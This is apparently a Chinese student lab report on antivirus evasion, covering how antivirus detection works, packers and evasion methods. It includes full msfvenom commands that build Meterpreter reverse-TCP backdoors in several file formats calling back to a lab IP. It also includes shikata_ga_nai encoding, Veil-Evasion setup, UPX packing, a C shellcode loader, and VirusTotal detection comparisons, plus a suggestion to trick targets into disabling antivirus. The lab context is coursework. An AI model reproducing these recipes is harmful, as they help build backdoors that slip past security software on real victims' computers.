目录

一、实验目标

二、基础知识

三、基础问题回答

四、开启杀软能绝对防止电脑中恶意代码吗?

五、实验内容

六、实验感想

一、实验目标

  • 正确使用msf编码器,使用msfvenom生成如jar、php之类的其他文件,并用virustotal进行检测,会使用基本的免杀工具
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
    回到顶部

二、基础知识

1. 免杀与杀软

  • 免杀技术全称为反杀毒技术 Anti Anti- Virus,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
  • 注意:免杀不是Rootkit技术,也不是加密解密技术
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。
  • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
  • 杀软的基本思路如下:

2. Veil-Evasion

  • veil-evasion是linux平台的一款免杀工具,可直接通过apt-get安装,用来生成msf的payload,能绕过常见的杀软。
  • 常用参数如下:
    list:列出可选的payload
    use 编号:选择payload
    options:查看参数
    set lhost ip_of_kali:设置ip
    set lport xxx:设置端口号
    generate:生成文件

3. 加壳:可执行程序资源压缩,压缩后的程序可以直接运行

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解),大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
  • 从技术上分壳分为:
    • 压缩壳:减少应用体积。如ASPack,UPX
      • 压缩壳并不会对被加壳程序本身做任何修改,而是直至将其换成一种更加节省空间的存储方式,其目的大致类似于我们经常使用的RAR或ZIP。经过压缩壳处理过的程序在真正被CPU执行前是会自动解压缩(解密)的。
    • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
      • 加密壳的主要目的是保护原程序不被破解,一般情况下,经过加密壳处理的应用程序体积会增加,但也有部分加密壳结合了压缩壳的特性,会在加密完成后再进行压缩。而且一般情况下,加密壳会对原程序进行一定的修改。
    • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
      • 虚拟机保护壳会将被保护程序的可执行代码重新编码为自己的软件CPU可以识别的格式,并进行存储、加载及模拟执行。

三、基础问题回答

1. 杀软是如何检测出恶意代码的?

  • 基于特征码的检测(精确的)

    • 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
    • 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测(非精确的)

    • 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
    • 优点:可以检测0-day恶意软件、具有一定通用性
    • 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
  • 基于行为的恶意软件检测(非精确的)

    • 相当于是启发式的一种,或者是加入了行为监控的启发式
    • 通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

2. 免杀是做什么?

  • 免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。
  • 它也是渗透测试中需要使用到的技术。

3. 免杀的基本方法有哪些?

  • 改变特征码
    • 手里只有EXE——加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)——用encode进行编码 、 基于payload重新编译生成可执行文件
    • 有源代码——用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

四、开启杀软能绝对防止电脑中恶意代码吗?

从下面的实验过程可以看出,开启杀软也不能百分之百防止电脑中恶意代码,一些恶意程序还是可以躲过杀软的监视。例如下面加了压缩壳的exe可执行文件就躲过了监视。

五、实验内容

任务一:正确使用基础免杀工具或技巧

1. 正确使用msf编码器

  • 使用msf生成后门程序,用Virustotal进行扫描,结果如下:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.190 LPORT=1217 -f exe > 20201217_backdoor.exe

由图可以看出,一共有47款杀软检测出该程序是恶意程序,被检测出来的概率还是比较高的

  • 一次编码
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.163.190 LPORT=1217 -f exe > 20201217_encoded.exe
注意:-e:选择编码器
-p:选择要设置的payload
-b:去除字符(在本命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)

由图可知,一次编码使得文件隐藏性甚至变得更坏了。

  • 十次编码
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.163.190 LPORT=1217 -f exe > 20201217_encoded2.exe

注意:-i: 设置迭代次数

由图可以看出,就算经过了10次编码,被检测概率依然还是很高,甚至变得更差了

原因分析如下:

  • AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中,这部分总会被杀软识别出来。
  • msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,会有一定的固定特征。所以AV会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。
  • 如果使用msfvenom免杀,就要使用原生的模板生成exe。

2. 使用msfvenom生成如jar之类的其他文件

  • 生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.163.190 lport=1217 > 20201217.jar

使用VirusTota网站进行扫描,发现效果比之前直接生成exe文件效果好一些,结果为34/60

  • 生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.163.190 lport=1217 > 20201217.apk

使用VirusTota网站进行扫描,发现效果比jar文件好一点,结果为25/63

  • 生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.163.190 lport=1217 > 20201217.php

使用VirusTota网站进行扫描,发现效果和php差不多,结果为25/59

  • 生成Python文件
    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.163.190 lport=1217 > 20201217.py

比例为21/58,发现比之前的都要好。

3. 使用veil-evasion生成后门程序及检测

  • 安装veil工具

(1)依次输入
dpkg --add-architecture i386
apt-get update
apt-get upgrade -y
apt-get install wine32
sudo apt-get install veil-evasion

这里的安装过程比较慢,一定要耐心等待。
(2)更换码云,提高下载速度:

  • 使用命令cd /usr/share/veil/config/进入文件夹
  • 使用命令sudo vim setup.sh编辑文件,第260行把github仓库改成码云的仓库

用以下指令替换箭头所指的位置:
https://gitee.com/spears/VeilDependencies.git

(4)输入veil,继续安装

  • 安装过程中会出现很多次软件安装的选择,输入y即可。

  • 如果出现了下图所示的情况:

输入 /usr/share/veil/config/setup.sh --force --silent
再在终端输入sudo apt-get remove veil来清除下载的veil安装包
然后重新输入veil进行操作。(若无报错这一步可跳过)

  • 一直点击next执行下去

- 直至出现
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!

则表示初始化成功。

这时可能会有一条报错,可以不用管他,不影响使用。

(5) 运行veil
- 输入指令veil,出现下图的绿色界面即安装成功。

  • 输入use evasion 进入Evil-Evasion界面,也可以用use 1 进入

  • 选择一个可用的playload,输入 use c/meterpreter/rev tcp.py

  • 输入list查看可以使用的payload
  • 设置地址和端口号
    set LHOST 192.168.163.190 //设置反弹连接IP
    set LPORT 1217 //设置端口
    options //查看设置情况

  • 输入generate生成文件,然后输入你想要playload的名字

  • 从图中可以看出,生成的文件分别存于/var/lib/veil/output/source/var/lib/veil/output/compiled/var/lib/veil/output/handlers目录下。

  • 再次对.exe文件进行检测”

对此文件进行检测,但检出率还是有点高。

4.免杀加壳尝试

进入到刚刚生成.exe文件的文件夹里

在该文件夹里打开终端界面

输入upx 20201217veil.exe -o 20201217_veil_upx.exe

  • 加壳是对相应的资源进行压缩,压缩后仍可运行。

  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

  • 对其进行检测,检出率基本上无变化,可以猜测目前杀软对于加壳的检测能力很强。

5.使用C + shellcode编程

  • 使用msfvenom得到shellcode

    • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.190 LPORT=1217 -f c

  • 复制框里的内容到剪切板以便后续使用,粘贴复制的内容并在最后一行添加以下代码:
int main() { int (*func)() = (int(*)())buf; func(); }

  • 编辑c文件vim shellcode_c.c

  • 编译可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

  • 对其进行检测,可以看出检出率已经又下降了一些

任务二:通过组合应用各种技术实现恶意代码免杀

  • 利用python+aes_encrypt
  • 打开veil,输入use evasion
  • 输入list

  • 使用evasion中第28项:用python生成reverse_tcp
  • 输入use python/meterpreter/rev_tcp.py
  • 依次输入以下内容:
set LHOST 192.168.163.190
set LPORT 1217
options

  • 按图示内容完成操作

  • 如图所示,生成文件目录如上,会有三个文件生成

  • 分别对三个文件进行检测

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

(理论上在windows11或windows10上要成功验证,需按照实验二类似要求关闭防火墙、篡改保护、实时防护等功能。)

1.在windows上的nact所在文件夹下打开cmd终端,开启监听(与实验二相似)
ncat -lv 1777 > 20201217_veil_upx.exe

2.在Kali上传送后门程序传过去。如上图所示

3.两个.exe文件操作方法一样。可以发现在NMap文件夹下传输过来了文件(一个加壳一个不加壳):

4.在kali打开exploit开始监听,具体方法和实验二一样,在此不再赘述。然后点开win主机上的程序开始运行。发现出现了以下的提示:

5.我的电脑杀毒软件为“联想安全管家”,发现它只发现了一条风险消息,也就是加了壳的.exe文件没有被识别出来:

6.但是两个文件,无论加还是不加壳,都被告知禁止运行。如若成功则与实验二效果相同,连接成功后可进行屏幕录制、音频录制等功能。

7.联想电脑管家只发现了没加壳文件的风险,但是没有识别出来加壳的文件的危险性,说明该文件在具有一定的隐蔽性,但是在运行或是安装时能够被联想电脑管家识别出来。

六、实验感想

本次实验难度相对容易。遇到的最大难题就是Veil的安装。我因为反复安装了好多次,之前的包没有清理导致迭代产生错误,知道后面我sudo clean了一下,才得以比较通顺完成以下任务。所以在第一次下载被迫中断后,一定要做好善后清理工作,否则会对接下来的安装产生很大的影响。通过本次实验,我对后门程序的设计和免杀有了更深入的掌握,认识到了杀毒软件的强大和不足之处:杀毒软件能查杀大部分恶意软件,但并不是所有的都能被检测出来。因此我们平时也要加大网络防范安全意识,主要是一个验证型的实验,并没有涉及过多添加修改或是删除的操作,但安装调试veil等软件的过程较为繁琐,总的来说,只要大家一步一步来、耐心准确地操作,能够快速有效得到实验结果。